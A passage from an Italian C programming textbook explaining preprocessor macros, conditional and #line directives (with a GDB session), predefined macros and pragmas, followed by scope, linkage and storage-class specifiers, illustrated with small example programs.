È molto importante fare attenzione alla spaziatura nella dichiarazione di una macro-istruzione: si può scrivere '**`#define MAX(x,y)`** ...', '**`#define MAX( x,y)`** ...', '**`#define MAX(x,y )`** ...', '**`#define MAX(x, y)`** ...', ecc. Quello che invece non si può proprio è l'inserimento di uno spazio tra il nome della macro-istruzione e la parentesi tonda aperta. Pertanto, se si scrive '**`#define MAX (x, y)`** ...' si commette un errore!
Al contrario, quando la macro-istruzione viene richiamata, questo spazio può essere inserito senza problemi, come apparso già negli esempi.

Nella definizione di una macro-istruzione può essere usato l'operatore '**`##`**' già descritto nella sezione precedente. Nell'esempio seguente si ottiene di visualizzare il numero 12345678:

```
#include <stdio.h>
#define UNISCI(A, B) A ## B
int main (void)
{
  printf ("%i\n", UNISCI(1234, 5678));
  return 0;
}
```

Inoltre, è disponibile l'operatore '**`#`**' che ha lo scopo di racchiudere tra apici doppi la metavariabile che lo segue immediatamente. Si osservi l'esempio seguente:

```
#include <stdio.h>
#define STRINGATO(a) # a
#define SALUTO STRINGATO (Ciao! come stai?\n)
int main (void)
{
  printf (SALUTO);
  return 0;
}
```

Prima viene definita la macro-istruzione ***STRINGATO***, con la quale si vuole che il suo argomento sia raccolto tra apici doppi. Subito dopo viene definita la macro-variabile ***SALUTO*** che viene rimpiazzata da '**`STRINGATO (Ciao! come stai?\n)`**' e quindi da '**`"Ciao! come stai?\n"`**'. Alla fine, il programma mostra regolarmente il messaggio già visto in un altro esempio precedente:

```
Ciao! come stai?
```

Si osservi cosa accadrebbe modificando l'esempio nel modo seguente, dove si vuole che la macro-istruzione ***STRINGATO*** utilizzi due parametri:

```
…
#define STRINGATO(a, b) # a # b
#define SALUTO STRINGATO (Ciao!, come stai?\n)
…
```

Evidentemente si vuole che i due argomenti forniti alla macro-istruzione ***STRINGATO*** siano raccolti ognuno tra apici doppi, pertanto la macro-variabile si trova a essere dichiarata, sostanzialmente come '**`"Ciao!" "come stai?\n"`**'. Alla fine il risultato mostrato dal programma è differente, perché la sequenza delle due stringhe viene intesa come una sequenza sola, ma in tal caso manca lo spazio tra le due parti:

```
Ciao!come stai?
```

Si può complicare ulteriormente l'esempio per dimostrare fino a dove si estende la competenza dell'operatore '**`#`**':

```
#include <stdio.h>
#define STRINGATO(a, b) # a , b
#define SALUTO STRINGATO (%i un amore\n, 6)
int main (void)
{
  printf (SALUTO);
  return 0;
}
```

Qui gli spazi sono importanti, infatti, la macro-istruzione ***STRINGATO*** si traduce in '**`"`*a*`" ,` *b***' e la virgola non avrebbe potuto essere unita alla lettera «a», altrimenti sarebbe stata inserita dentro la coppia di apici doppi. La macro-variabile ***SALUTO*** si traduce poi in '**`"%i un amore\n" , 6`**', pertanto, alla fine, il programma mostra il messaggio seguente:

```
6 un amore
```

Per concludere viene mostrato un esempio ulteriore, con il quale si crea una sorta di funzione che il precompilatore deve trasformare in un blocco di istruzioni. Viene simulato il comportamento della funzione standard ***strncpy()***, senza però restituire un valore:

```
#include <stdio.h>

#define STRNCPY(DST, ORG, N) { \
    char *restrict s1 = (DST); \
    const char *restrict s2 = (ORG); \
    size_t n = (N); \
    int i; \
    for (i = 0; i < n && s2[i] != 0; i++) \
      { \
        s1[i] = s2[i]; \
      } \
    s1[i] = 0; }

int main (void)
{
  char stringa[100];
  STRNCPY (stringa, "Buon giorno a tutti!", 50)       // Niente ";"
  printf ("%s\n", stringa);
  return 0;
}
```

Si può vedere che, per richiamare questa macro-istruzione, non si richiede che le sia aggiunto il punto e virgola. Infatti, la macro in sé si espande in un raggruppamento tra parentesi graffe, che non ne ha bisogno; d'altra parte, volendoglielo aggiungere, non si può creare alcun problema.

La dichiarazione di una macro-istruzione può prevedere una quantità variabile di parametri, come avviene già per le funzioni (sezione 77.6.3). Per ottenere questo si aggiungono dei puntini di sospensione alla fine dell'elenco dei parametri fissi, quindi, si utilizza la parola chiave '**`__VA_ARGS__`**' per individuare gli argomenti opzionali. L'esempio seguente riproduce il funzionamento di ***printf()***, richiamando la stessa funzione:

```
#include <stdio.h>

#define PRINTF(A, ...) printf (A, __VA_ARGS__)

int main (void)
{
  PRINTF ("I primi numeri interi: %i, %i, %i\n", 1, 2, 3);
  return 0;
}
```

Questa volta il punto e virgola finale serve, perché non è stato incluso nella definizione della macro-istruzione.

A proposito di '**`__VA_ARGS__`**' va ancora osservato che individua sì gli argomenti opzionali, ma di questi ne deve essere specificato almeno uno. Pertanto, la macro-istruzione ***PRINTF()***, per come è stata dichiarata nell'esempio precedente, va usata sempre con almeno due argomenti. In questo caso, per poter usare la macro-istruzione con un argomento solo, la sua definizione va modificata nel modo seguente:

```
...
#define PRINTF(...) printf (__VA_ARGS__)
...
```

77.2.5 Direttive «#if», «#else», «#elif» e «#endif»

Le direttive '**`#if`**', '**`#else`**', '**`#elif`**' e '**`#endif`**', permettono di delimitare una porzione di codice che debba essere utilizzato o ignorato in relazione a una certa espressione che può essere calcolata solo attraverso definizioni precedenti.

```
#if espressione
        espressione
[#elif espressione
        espressione]
...
[#else
        espressione]
#endif
```

Le espressioni che rappresentano le condizioni da valutare seguono regole equivalenti a quelle del linguaggio, tenendo conto che se si vogliono usare delle variabili, queste possono solo essere quelle del precompilatore. L'esempio seguente mostra la dichiarazione di una macro-variabile a cui si associa un numero, quindi si vede un confronto basato sul valore in cui si espande la macro-variabile stessa:

```
#define DIM_MAX 1000
...
...
int main (void)
{
...
#if DIM_MAX>100
  printf ("Dimensione enorme.\n");
  ...
#else
  printf ("Dimensione normale.\n");
  ...
#endif
...
}
```

L’esempio mostra il confronto tra la macro-variabile ***DIM_MAX*** e il valore 100. Essendo stata dichiarata per tradursi in 1000, il confronto è equivalente a 1000 > 100 che risulta vero, pertanto il compilatore include solo le istruzioni relative.

Gli operatori di confronto che si possono utilizzare per le espressioni logiche sono i soliti, in particolare, è bene ricordare che per valutare l’uguaglianza si usa l’operatore ‘**`==`**’, come nell’esempio successivo:

```
#define NAZIONE ita
…
…
int main (void)
{
#if NAZIONE==ita
  char valuta[] = "EUR";
  …
#elif NAZIONE==usa
  char valuta[] = "USD";
  …
#endif
…
}
```

Queste direttive condizionali possono essere annidate; inoltre possono contenere anche altri tipi di direttiva del precompilatore.

77.2.6 Direttive «#if defined», «#if !defined», «#ifdef» e «#ifndef»

Nelle espressioni che esprimono una condizione per la direttiva ‘**`#if`**’ è possibile usare l’operatore ‘**`defined`**’, seguito dal nome di una macro-variabile. La condizione ‘**`defined`** ***macro***’ si avvera se la macro indicata risulta definita, anche se dovesse essere priva di valore. Per converso, la condizione ‘**`!defined`** ***macro***’ si avvera quando la macro non risulta definita.

La direttiva ‘**`#if defined`**’ può essere abbreviata come ‘**`#ifdef`**’, mentre ‘**`#if !defined`**’ si può esprimere come ‘**`#ifndef`**’.

```
#define DEBUG
…
int main (void)
{
…
#if defined DEBUG
  printf ("Punto di controllo n. 1\n");
  …
#endif // DEBUG
…
}
```

```
#define DEBUG
…
int main (void)
{
…
#ifdef DEBUG
  printf ("Punto di controllo n. 1\n");
  …
#endif // DEBUG
…
}
```

I due esempi equivalenti mostrano il caso in cui sia dichiarata una macro ***DEBUG*** (che non si traduce in alcunché) e in base alla sua esistenza viene incluso il codice che mostra un messaggio particolare.

```
#define OK
…
int main (void)
{
#if !defined OK
  printf ("Punto di controllo n. 1\n");
  …
#endif // OK
…
}
```

```
#define OK
…
int main (void)
{
#ifndef OK
  printf ("Punto di controllo n. 1\n");
  …
#endif // OK
…
}
```

Questi due esempi ulteriori sono analoghi a quanto già mostrato, con la differenza che le istruzioni controllate vengono incluse nella compilazione solo se la macro indicata non è stata dichiarata.

Quando si scrivono delle condizioni basate sull'esistenza o meno di una macro, può essere utile aggiungere alla conclusione un commento con cui si ricorda a quale macro si sta facendo riferimento, in modo da districarsi più facilmente in presenza di più livelli di annidamento. Ma occorre fare molta attenzione, perché se si commettono errori con questi commenti il compilatore non può dare alcuna segnalazione in merito e si rende incomprensibile il sorgente alla rilettura successiva.

Esiste una situazione ricorrente in cui viene utilizzata la direttiva '**#if !defined**' o '**#ifndef**' che è bene conoscere. Spesso i file di intestazione che vengono inclusi con direttive '**#include**' includono a loro volta tutto quello che serve loro, ma così facendo c'è la possibilità che lo stesso file venga incluso più volte. Per evitare di prendere in considerazione una seconda volta lo stesso file, si usa un artificio molto semplice, come si vede nel listato successivo che riproduce il contenuto del file 'stdbool.h' di una libreria standard ipotetica:

```
#ifndef _STDBOOL_H
#define _STDBOOL_H      1

#define bool    _Bool
#define true    1
#define false   0
#define __bool_true_false_are_defined   1

#endif // _STDBOOL_H
```

Come si vede, se il codice viene eseguito per la prima volta, la condizione '**ifndef _STDBOOL_H**' non si avvera e di conseguenza la macro-variabile ***_STDBOOL_H*** viene creata effettivamente e quindi viene considerato tutto il resto del codice fino alla direttiva '**#endif**'. Ma quando si tenta di eseguire lo stesso codice per la seconda volta, o per altre volte successive, dato che la macro-variabile ***_STDBOOL_H*** risulta già definita, questo codice viene ignorato semplicemente, senza altre conseguenze.

Le direttive che consentono di compilare selettivamente solo una porzione del codice, consentono di realizzare del codice molto sofisticato, ma rischiano di renderlo estremamente complesso da interpretare attraverso la lettura umana. Pertanto, è bene limitarne l'uso alle situazioni che sono utili effettivamente.

77.2.7 Direttiva «#undef»

La direttiva '**#undef**' permette di eliminare una macro a un certo punto del sorgente:

```
#undef macro
```

Si mostra un esempio molto semplice, nel quale prima si dichiara la macro-variabile ***NAZIONE***, poi, quando non serve più, questa viene eliminata.

```
#define NAZIONE ita
…
/* In questa posizione, NAZIONE risulta definita */
…
#undef NAZIONE
…
/* In questa posizione, NAZIONE non è definita */
…
```

77.2.8 Direttiva «#line»

Di norma, il compilatore abbastanza evoluto consente di inserire nel file eseguibile delle informazioni che consentano di abbinare il codice eseguibile alle righe del file sorgente originale. Per esempio, con GNU C si può usare l'opzione '**-gstabs**' e altre simili. Naturalmente, in condizioni normali il compilatore conta da solo le righe e annota il nome del file sorgente originale.

Con la direttiva '**#line**' è possibile istruire il compilatore in modo che tenga in considerazione un numero di riga differente, ma soprattutto consente di specificare a quale file sorgente ci si vuole riferire.

```
#line n_riga [ "nome_file_sorgente" ]
```

C'è da osservare che, per il programmatore, è poco probabile che sia necessario indicare una riga diversa nello stesso sorgente. In effetti, diventa più utile se si abbina il nome di un altro file. Per comprendere come possa essere utilizzata questa possibilità, occorre ipotizzare la costruzione di un altro compilatore per un linguaggio nuovo, con il quale si genera codice in linguaggio C. A titolo di esempio si suppone di volere tradurre il file 'hanoi.pseudo' che si vede nel listato 77.96 in un sorgente C, denominato 'hanoi.c', mantenendo il riferimento alle righe originali.

Listato 77.96. Il file 'hanoi.pseudo'.

```
1   HANOI (N, P1, P2)
2       IF N > 0
3           THEN
4               HANOI (N-1, P1, 6-P1-P2)
5               scrivi: "Muovi l'anello" N "dal piolo" P1 "al piolo" P2
6               HANOI (N-1, 6-P1-P2, P2)
7       END IF
8   END HANOI
9
10  MAIN ()
11      HANOI (3, 1, 2)
12  END MAIN
```

Per ottenere il risultato atteso, il file 'hanoi.c' deve contenere diverse direttive '**#line**', come si vede nel listato 77.97, anche se alcune di quelle potrebbero essere omesse, contando sull'incremento automatico da parte del compilatore.

Listato 77.97. Il file 'hanoi.c'.

```
#include <stdio.h>

#line 1 "hanoi.pseudo"
void hanoi (int N, int P1, int P2)
{
  #line 2 "hanoi.pseudo"
  if (N > 0)
    {
      #line 4 "hanoi.pseudo"
```

```
      hanoi (N-1, P1, 6-P1-P2);
      #line 5 "hanoi.pseudo"
      printf ("Muovi l'anello %i dal piolo %i al piolo %i\n", N, P1, P2);
      #line 6 "hanoi.pseudo"
      hanoi (N-1, 6-P1-P2, P2);
      #line 7 "hanoi.pseudo"
    }
  #line 8 "hanoi.pseudo"
}

#line 10 "hanoi.pseudo"
int main (void)
{
  #line 11 "hanoi.pseudo"
  hanoi (3, 1, 2);
  #line 12 "hanoi.pseudo"
  return 0;
  #line 12 "hanoi.pseudo"
}
```

La compilazione del file '`hanoi.c`' potrebbe avvenire nel modo seguente:

$ **`cc -Wall -gstabs hanoi.c`**

Si dovrebbe ottenere il file eseguibile '**`a.out`**' e si verifica sommariamente se funziona:

$ **`./a.out`**

```
Muovi l'anello 1 dal piolo 1 al piolo 2
Muovi l'anello 2 dal piolo 1 al piolo 3
Muovi l'anello 1 dal piolo 2 al piolo 3
Muovi l'anello 3 dal piolo 1 al piolo 2
Muovi l'anello 1 dal piolo 3 al piolo 1
Muovi l'anello 2 dal piolo 3 al piolo 2
Muovi l'anello 1 dal piolo 1 al piolo 2
```

Il risultato è quello previsto. Se lo si esegue con l'ausilio di programmi come GDB, si può osservare che il riferimento al sorgente originale è quello del file '`hanoi.pseudo`':

$ **`gdb a.out`**

(gdb) **`break main`** [*Invio*]

```
Breakpoint 1 at 0x80483d8: file hanoi.pseudo, line 11.
```

(gdb) **`run`** [*Invio*]

```
Starting program: /home/tizio/a.out
…
Breakpoint 1, main () at hanoi.pseudo:11
11          HANOI (3, 1, 2)
```

(gdb) **stepi** [*Invio*]

```
0x080483e0      11          HANOI (3, 1, 2)
```

(gdb) **stepi** [*Invio*]

```
0x080483e8      11          HANOI (3, 1, 2)
```

(gdb) **stepi** [*Invio*]

```
0x080483ef      11          HANOI (3, 1, 2)
```

(gdb) **stepi** [*Invio*]

```
hanoi (n=3, p1=1, p2=2) at hanoi.pseudo:2
2           IF N > 0
```

(gdb) **stepi** [*Invio*]

```
0x08048355      2           IF N > 0
```

(gdb) **stepi** [*Invio*]

```
0x08048357      2           IF N > 0
```

(gdb) **stepi** [*Invio*]

```
2           IF N > 0
(gdb) stepi
0x0804835e      2           IF N > 0
```

(gdb) **stepi** [*Invio*]

```
4                   HANOI (N-1, P1, 6-P1-P2)
```

(gdb) **stepi** [*Invio*]

```
0x08048363      4                   HANOI (N-1, P1, 6-P1-P2)
```

(gdb) **quit** [*Invio*]

Figura 77.110. Esecuzione controllata del programma attraverso DDD.

```
HANOI (N, P1, P2)
    IF N > 0
        THEN
            HANOI (N-1, P1, 6-P1-P2)
            scrivi: "Muovi l'anello" N "dal piolo" P1 "al piolo" P2
            HANOI (N-1, 6-P1-P2, P2)
    END IF
END HANOI

MAIN ()
    HANOI (3, 1, 2)
END MAIN
```

```
(gdb) stepi
(gdb) stepi
(gdb) stepi
(gdb) stepi
(gdb)
```

Display 5: P1 (enabled, scope hanoi, address 0xbfa44138)

77.2.9 Direttiva «#error»

La direttiva '**`#error`**' serve a generare un messaggio diagnostico in fase di compilazione, normalmente con lo scopo di interrompere lì il procedimento. In pratica è un modo per interrompere la compilazione già in fase di elaborazione da parte del precompilatore, al verificarsi di certe condizioni.

```
#error messaggio
```

Il messaggio viene trattato in modo letterale, senza l'espansione delle macro.

```
#if ! __STDC_IEC_559__
#error compilatore non conforme alle specifiche IEC 60599!
#endif
```

L'esempio mostra una situazione verosimile per l'utilizzo della direttiva '**`#error`**', dove si controlla che il valore in cui si espande la macro-variabile ***__STDC_IEC_559__*** sia diverso da zero, ma se non è così viene visualizzato il messaggio di errore e la compilazione dovrebbe venire interrotta.

77.2.10 Macro predefinite

Lo standard del C prevede che il compilatore disponga di alcune macro-variabili predefinite, elencate sinteticamente nella tabella successiva.

Tabella 77.112. Macro-variabili predefinite secondo lo standard.

Macro-variabile	Descrizione
`__DATE__` `__TIME__`	La data e l'ora della compilazione sono accessibili attraverso le macro-variabili ***__DATE__*** e ***__TIME__***. Il formato della prima macro-variabile è '`"`***Mmm gg aaaa***`"`' e quello della seconda è '`"`***hh***`:`***mm***`:`***ss***`"`'. Come si vede, le due macro-variabili si espandono in una stringa delimitata correttamente da apici doppi.
`__FILE__` `__LINE__`	Attraverso le macro-variabili ***__FILE__*** e ***__LINE__*** il programma può accedere all'informazione sul nome del file sorgente e della riga originale. Il nome del file e il numero della riga possono essere alterati attraverso la direttiva '**`#line`**'.

`__STDC__`
`__STDC_HOSTED__`
`__STDC_VERSION__`
	La macro-variabile ***__STDC__*** che si espande nel valore '**`1`**' sta a indicare che si tratta di un compilatore conforme allo standard; la macro ***__STDC_HOSTED__***, se si espande nel valore '**`1`**', indica una conformità stretta, definita come *hosted implementation*; la macro ***__STDC_VERSION__*** si espande nella versione dello standard. Il valore in cui si espande la terza macro-variabile contiene l'anno e il mese, come per esempio '**`199901L`**', con la specificazione che si tratta di una costante numerica di tipo '**`long int`**'.

`__STDC_IEC_559__`	Se esiste la macro-variabile ***__STDC_IEC_599__*** che si espande nel valore '**`1`**', si intende indicare la conformità alle specifiche dello standard IEC 60559, inerenti l'aritmetica a virgola mobile.
`__STDC_IEC_559_COMPLEX__`	Se esiste la macro-variabile ***__STDC_IEC_599_COMPLEX__*** che si espande nel valore '**`1`**', si intende indicare la conformità alle specifiche dello standard IEC 60559, inerenti l'aritmetica «complessa».
`__STDC_ISO_10646__`	Se esiste la macro-variabile ***__STDC_ISO_10646__***, questa dovrebbe espandersi nella versione dello standard ISO/IEC 10646 che riguarda la codifica universale dei caratteri. La versione che si ottiene è un numero contenente l'anno e il mese, seguito dalla lettera «L», a indicare che si tratta di una costante numerica di tipo '**`long int`**'.

A parte il caso di ***__FILE__*** e ***__LINE__***, le macro-variabili si espandono in un valore fisso.

77.2.11 Pragma

Attraverso i «pragma» è possibile dare al compilatore delle istruzioni che sono al di fuori dello standard. Il pragma, in sé, è un messaggio testuale che viene passato al compilatore, il quale può interpretarlo in fase di precompilazione o in quella successiva. Lo standard prevede due forme per esprimere un pragma al compilatore:

```
#pragma messaggio
```

```
_Pragma ("messaggio")
```

Il testo che compone il pragma nella sua prima forma viene trattato letteralmente, mentre quello del secondo modello richiede la protezione di alcuni caratteri: '\"' e '\\' corrispondono rispettivamente a '"' e '\'. I due esempi seguenti sono equivalenti:

```
#pragma GCC dependency "parse.y"
```

```
_Pragma ("GCC dependency \"parse.y\"")
```

Lo standard prevede anche che sia possibile creare delle macro-istruzioni che incorporino un pragma, come nell'esempio seguente:

```
#define DO_PRAGMA(x) _Pragma (#x)
DO_PRAGMA (GCC dependency "parse.y")
```

77.3 Dal campo di azione alla compilazione

Il problema del campo di azione di variabili e funzioni va visto assieme a quello della compilazione di un programma composto da più file sorgenti, attraverso la produzione di file-oggetto distinti. Leggendo questo capitolo occorre tenere presente che la descrizione della questione è semplificata, omettendo alcuni dettagli. D'altra parte, per poter comprendere il problema la semplificazione è necessaria, tenendo conto che nel linguaggio C, per controllare il campo di azione delle variabili e delle funzioni, si utilizzano parole chiave non proprio «azzeccate» e in certi casi con significati diversi in base al contesto.

Per una descrizione più precisa e dettagliata, dopo la lettura di questo capitolo è necessario rivolgersi ai documenti che definiscono lo standard del linguaggio.

77.3.1 Il punto di vista del «collegatore»

Il programma che raccoglie assieme diversi file-oggetto per creare un file eseguibile (ovvero il *linker*), deve «collegare» i riferimenti incrociati a simboli di variabili e funzioni. In pratica, se nel file 'uno.o' si fa riferimento alla funzione ***f()*** dichiarata nel file 'due.o', nel programma risultante tale riferimento deve essere risolto con degli indirizzi appropriati. Naturalmente, lo stesso vale per le variabili globali, dichiarate da una parte e utilizzate anche dall'altra.

Per realizzare questi riferimenti incrociati, occorre che le variabili e le funzioni utilizzate al di fuori del file-oggetto in cui sono dichiarate, siano pubblicizzate in modo da consentire il richiamo da altri file-oggetto. Per quanto riguarda invece le variabili e le funzioni dichiarate e utilizzate esclusivamente nello stesso file-oggetto, non serve questa forma di pubblicità.

Nei documenti che descrivono il linguaggio C standard si usa una terminologia specifica per distinguere le due situazioni: quando una variabile o una funzione viene dichiarata e usata solo internamente al file-oggetto rilocabile che si ottiene, è sufficiente che abbia una «collegabilità interna», ovvero un ***linkage interno***; quando invece la si usa anche al di fuori del file-oggetto in cui viene dichiarata, richiede una «collegabilità esterna», ovvero un ***linkage esterno***.

Nel linguaggio C, il fatto che una variabile o una funzione sia accessibile al di fuori del file-oggetto rilocabile che si ottiene, viene determinato in modo implicito, in base al contesto, nel senso che non esiste una classe di memorizzazione esplicita per definire questa cosa.

77.3.2 Campo di azione legato al file sorgente

Il file sorgente che si ottiene dopo l'elaborazione da parte del precompilatore, è suddiviso in componenti costituite essenzialmente dalla dichiarazione di variabili e di funzioni (prototipi inclusi). L'ordine in cui appaiono queste componenti determina la ***visibilità*** reciproca: in linea di massima si può accedere solo a quello che è già stato dichiarato. Inoltre, in modo predefinito, dopo la trasformazione in file-oggetto, queste componenti sono accessibili anche da altri file, per i quali, l'ordine di dichiarazione nel file originale non è più importante.[17]

Figura 77.116. Quattro file sorgenti equivalenti, a confronto. La variabile ***i***, la funzione ***f()*** e la funzione ***g()*** sarebbero accessibili anche da altri file. La funzione ***g()*** utilizza la variabile ***i***, dichiarata esternamente a lei.

```
int f (int x)
{
    return (x * x);
}

int i = 3;

int g (void)
{
    i++;
    return f (i);
}
```

```
int i = 3;
int f (int);

int g (void)
{
    i++;
    return f (i);
}

int f (int x)
{
    return (x * x);
}
```

```
int f (int);
extern int i;

int g (void)
{
    i++;
    return f (i);
}

int i = 3;

int f (int x)
{
    return (x * x);
}
```

```
int f (int);

int g (void)
{
    extern int i;
    i++;
    return f (i);
}

int i = 3;

int f (int x)
{
    return (x * x);
}
```

equivale a:

```
return f (4);
```

Nell'esempio della figura precedente, la funzione ***g()*** accede direttamente alla variabile ***i*** che risulta dichiarata al di fuori della funzione stessa. Il campo di azione di questa variabile inizia dalla sua dichiarazione e termina alla fine del file; quando la variabile viene definita in una posizione successiva al suo utilizzo, questa deve essere dichiarata preventivamente come «esterna», attraverso lo specificatore di classe di memorizzazione '**`extern`**'.

Per isolare le funzioni e la variabile degli esempi mostrati, in modo che non siano disponibili per il collegamento con altri file, si dichiarano per il solo uso locale attraverso lo specificatore di classe di memorizzazione '**`static`**', come si vede nella figura successiva. Va osservato che, nell'ultimo caso, la variabile ***i*** non può essere isolata dall'esterno, perché si trova in una posizione successiva al suo utilizzo, pertanto vi si accede come se fosse dichiarata in un altro file.

Figura 77.117. Quattro file sorgenti equivalenti a confronto, in cui, dove è stato possibile, le variabili e le funzioni sono state isolate dal collegamento con l'esterno.

```
static int f (int x)
{
    return (x * x);
}

static int i = 3;

static int g (void)
{
    i++;
    return f (i);
}
```

```
static int i = 3;
static int f (int);

static int g (void)
{
    i++;
    return f (i);
}

static int f (int x)
{
    return (x * x);
}
```

```
static int f (int);
static int i;

static int g (void)
{
    i++;
    return f (i);
}

static int i = 3;

static int f (int x)
{
    return (x * x);
}
```

```
static int f (int);

static int g (void)
{
    extern int i;
    i++;
    return f (i);
}

int i = 3;

static int f (int x)
{
    return (x * x);
}
```

equivale a:

```
return f (4);
```

Per accedere a una funzione o a una variabile definita in un altro file[18] si deve dichiarare localmente la funzione o la variabile con lo specificatore di classe di memorizzazione '**`extern`**'. La figura successiva mostra l'esempio già apparso, ma diviso in due file.

Figura 77.118. Due file collegati tra di loro: il primo file («a») viene proposto in due versioni equivalenti.

file a

```
extern int f (int)
extern int i;

int g (void)
{
    i++;
    return f (i);
}
```

file b

```
int f (int x)
{
    return (x * x);
}

int i = 3;
```

equivale a:

```
return f (4);
```

file a

```
extern int f (int)

int g (void)
{
    extern int i;
    i++;
    return f (i);
}
```

file b

```
int f (int x)
{
    return (x * x);
}

int i = 3;
```

Questi esempi mostrano che è possibile dichiarare la variabile «esterna» direttamente all'interno della funzione che ne fa uso; tuttavia, per la scrittura di un programma ordinato, è più grazioso se questa dichiarazione appare al di fuori delle funzioni.

Negli esempi mostrati non appare la funzione ***main()*** che, invece, in un programma comune deve esistere. È da osservare che la funzione ***main()*** non può essere dichiarata con lo specificatore di classe di memorizzazione '**`static`**', anche se tutto è incluso in un file unico, perché dopo la produzione del file-oggetto rilocabile, per produrre un file eseguibile si associano normalmente delle librerie che contengono il codice iniziale del programma, il quale va a chiamare poi la funzione ***main()***. In altre parole, la compilazione prevede quasi sempre l'associazione con un file-oggetto fantasma contenente il codice responsabile della chiamata della funzione ***main()***, la quale, così, deve essere accessibile all'esterno del proprio file.

Tabella 77.119. Specificatori di classe di memorizzazione utilizzabili nella dichiarazione delle funzioni e delle variabili al di fuori delle funzioni.

Parola chiave	Descrizione
	L'assenza dello specificatore di classe implica la dichiarazione di una variabile o di una funzione accessibile anche da altri file.
`static`	Lo specificatore di classe '**`static`**' definisce una variabile o una funzione che può essere utilizzata solo all'interno del file in cui appare.
`extern`	Indica il riferimento a una variabile o a una funzione dichiarata in un altro file, oppure, nel caso delle variabili, anche nel file stesso ma in una posizione successiva.

77.3.3 Semplificazione dovuta all'uso comune dei file di intestazione

Nella tradizione del linguaggio C si fa uso di file di intestazione, ovvero porzioni di codice, in cui, tra le altre cose, si vanno a mettere i prototipi delle funzioni e le dichiarazioni delle variabili globali, a cui tutto il programma deve poter accedere.

Per semplificare questo lavoro di fusione, spesso un file incluso ne include automaticamente altri, da cui il proprio codice può dipendere. Così facendo, può anche succedere che lo stesso prototipo o la stessa variabile appaiano dichiarati più volte nello stesso file finale (quello generato dal precompilatore).

Oltre a questo fatto, se il proprio programma è suddiviso in più file, i quali devono includere questo o quel file di intestazione, diventa impossibile precisare da quale parte i prototipi e le variabili vengono dichiarate e da quale altra parte vengono richiamate. Pertanto, di norma si lascia fare al compilatore. L'esempio di compilazione di due file, presentato alla fine della sezione precedente, va rivisto secondo quanto si vede nella figura successiva.

Figura 77.120. Due file collegati tra di loro senza dichiarare espressamente la classe di memorizzazione '**extern**'.

file a

```
int f (int)
int i;

int g (void)
{
    i++;
    return f (i);
}
```

file b

```
int f (int x)
{
    return (x * x);
}

int i = 3;
```

equivale a:

```
return f (4);
```

Naturalmente, è bene che le funzioni e le variabili pubbliche siano dichiarate sempre nello stesso modo; inoltre, se le variabili pubbliche devono essere inizializzate, ciò può avvenire una volta sola, in un solo file.

La classe di memorizzazione '**extern**' è predefinita per i prototipi di funzione (purché non siano incorporati all'interno di altre funzioni) e per la dichiarazione delle variabili, purché assieme alla dichiarazione non ci sia anche un'inizializzazione. In pratica, nell'esempio non si può dichiarare espressamente con la parola chiave '**extern**' la variabile ***i*** nel file 'b', dove viene anche inizializzata. Se si tenta di farlo, il compilatore dovrebbe segnalare un errore.

77.3.4 Campo di azione interno alle funzioni

All'interno delle funzioni sono accessibili le variabili globali dichiarate esternamente a loro (come descritto nella sezione precedente), inoltre sono dichiarate implicitamente le variabili che costituiscono i parametri, dai quali si ricevono gli argomenti della chiamata, e si possono aggiungere altre variabili «locali». I parametri e le altre variabili che si dichiarano nella funzione sono visibili solo nell'ambito della funzione stessa; inoltre, se i nomi delle variabili e dei parametri sono gli stessi di variabili dichiarate esternamente, ciò rende temporaneamente inaccessibili quelle variabili esterne.

In condizioni normali, sia le variabili che costituiscono i parametri, sia le altre variabili dichiarate localmente all'interno di una funzione, vengono eliminate all'uscita dalla funzione

stessa. Di norma ciò avviene utilizzando la pila dei dati che di solito ogni processo elaborativo dispone (si veda eventualmente la sezione 75.10).

Figura 77.121. Variabili «automatiche» dichiarate implicitamente come tali.

```
int h = 1;
int i = 2;
int j = 3;
int k = 4;

float f (int x)
{
    int h;
    float i = 1.5;
    h = ((2 * j) * i);
    float m;
    m = (k / 2.0);
    return (m + i);
}
```


Le variabili create all'interno di una funzione, nel modo descritto dalla figura precedente, sono ***variabili automatiche*** ed è possibile esplicitare questa loro caratteristica con lo specificatore di classe di memorizzazione '`auto`'. Pertanto, la stessa cosa sarebbe stata ottenuta scrivendo l'esempio come nella figura successiva.

Figura 77.122. Variabili «automatiche» dichiarate espressamente attraverso lo specificatore di classe di memorizzazione '`auto`'.

```
int h = 1;
int i = 2;
int j = 3;
int k = 4;

float f (int x)
{
    auto int h;
    auto float i = 1.5;
    h = ((2 * j) * i);
    auto float m;
    m = (k / 2.0);
    return (m + i);
}
```

All'interno di una funzione è possibile utilizzare variabili che facciano riferimento a porzioni di memoria che non vengono rilasciate all'uscita della funzione stessa, pur isolandole rispetto alle variabili dichiarate esternamente. Si ottiene questo con lo specificatore di classe di memorizzazione '`static`' che non va confuso con lo stesso specificatore usato per le variabili dichiarate esternamente alle funzioni. In altre parole, quando in una funzione si dichiara una variabile con lo specificatore di classe di memorizzazione '`static`', si ottiene di conservare il contenuto di quella variabile che torna a essere accessibile nelle chiamate successive della funzione.

Di norma, la dichiarazione di una variabile di questo tipo coincide con la sua inizializzazione; in tal caso, l'inizializzazione avviene solo quando si chiama la funzione la prima volta.

Figura 77.123. Variabili «statiche» (da intendersi come variabili private) dichiarate all'interno delle funzioni.

```
int i = 2;

int f (void)
{
    static int i = 0;
    i++;
    return i;
}
```

viene creata la variabile i che nasconde quella dichiarata esternamente
l'inizializzazione della variabile avviene solo la prima volta
viene incrementata di una unità la variabile i
viene restituito il valore della variabile i
il contenuto della variabile i viene preservato per la prossima chiamata

All'interno delle funzioni possono essere usati anche gli specificatori di classe di memorizzazione '**`register`**' e '**`extern`**', come descritto nella tabella successiva.

Tabella 77.124. Specificatori di classe di memorizzazione utilizzabili nella dichiarazione delle variabili all'interno delle funzioni.

Parola chiave	Descrizione
`auto`	È lo specificatore di classe di memorizzazione predefinito e indica che la variabile viene creata in corrispondenza della dichiarazione e viene eliminata all'uscita della funzione.
`register`	Con lo specificatore di classe di memorizzazione '**`register`**' si chiede di creare una variabile automatica che, se possibile, utilizzi un registro del microprocessore o qualunque altra risorsa limitata che possa ridurne i tempi di accesso.
`static`	Definisce una variabile «privata» allocando della memoria che non viene rilasciata alla conclusione dell'attività della funzione, conservando il valore memorizzato per la chiamata successiva della stessa funzione. Si tratta comunque di una variabile a cui può accedere solo la funzione in cui è dichiarata.
`extern`	Indica il riferimento a una variabile dichiarata «esternamente» (come già mostrato nella sezione precedente). In generale, sarebbe meglio dichiarare in questo modo solo le variabili che sono definite al di fuori delle funzioni, lasciando che le funzioni vi accedano semplicemente in qualità di variabili globali.

